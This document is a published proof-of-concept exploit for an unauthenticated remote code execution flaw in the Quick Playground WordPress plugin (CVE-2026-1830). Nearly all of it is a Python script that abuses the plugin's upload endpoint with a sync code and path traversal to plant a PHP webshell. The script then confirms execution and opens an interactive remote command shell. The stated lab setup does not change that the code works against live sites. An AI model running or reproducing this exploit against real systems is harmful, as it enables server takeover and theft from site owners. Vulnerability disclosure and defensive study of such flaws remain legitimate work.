# Exploit Title: Quick Playground for WordPress 1.3.1 - Unauthenticated Remote Code Execution # Google Dork: N/A # Date: 2026-05-22 # Exploit Author: cardosource # Vendor Homepage: https://quickplayground.com # Software Link: https://downloads.wordpress.org/plugin/quick-playground.1.3.1.zip # Version: <= 1.3.1 # Tested on: Docker / Debian / Apache / PHP 8.2 / WordPress 6.x # CVE: CVE-2026-1830 # # Description: # # The Quick Playground plugin exposes a REST API endpoint: # # /wp-json/quickplayground/v1/upload_image/{profile} # # The endpoint validates uploads exclusively through a sync_code value # without requiring authenticated WordPress sessions or capability checks. # # Vulnerable code: # # if($code == $sync_code) # return true; # # If a valid sync_code is known, weak, reused, leaked, or predictable, # an attacker can upload arbitrary files using path traversal sequences. # # This PoC demonstrates arbitrary PHP file upload resulting in remote # command execution in a controlled local lab environment. # # LAB SETUP: # # docker exec -it \ # wp option update qckply_sync_code_default 'exploit123' --allow-root # # Usage: # # python3 poc.py # import requests import base64 import random import string import re TARGET = "http://localhost:8080" SYNC_CODE = "exploit123" PROFILE = "default" s = requests.Session() s.headers.update({ "User-Agent": "Mozilla/5.0", "Content-Type": "application/json" }) name = ''.join(random.choices(string.ascii_lowercase, k=8)) + ".php" shell = b'";system($_GET["cmd"]);echo "";} ?>' payload = { "sync_code": SYNC_CODE, "filename": f"../../../{name}", "base64": base64.b64encode(shell).decode() } url = f"{TARGET}/wp-json/quickplayground/v1/upload_image/{PROFILE}" print("[-] Sending webshell...") r = s.post(url, json=payload, timeout=15) try: msg = r.json().get("message", "") except: print("[-] Invalid server response") exit() if "saving to" not in msg: print("[-] Upload failed") print(r.text[:300]) exit() print("[-] Checking execution...") shell_url = f"{TARGET}/{name}" r = s.get(shell_url, params={"cmd": "id"}, timeout=10) m = re.search(r"
(.*?)
", r.text, re.DOTALL) if not m: print("[-] Shell not responding") exit() print("[+] RCE CONFIRMED!") print(f"[+] Shell: {shell_url}?cmd=command") print(f"[+] User: {m.group(1).strip()}\n") while True: cmd = input("$ ").strip() if cmd == "exit": break if not cmd: continue r = s.get(shell_url, params={"cmd": cmd}, timeout=30) m = re.search(r"
(.*?)
", r.text, re.DOTALL) if m: print(m.group(1).strip())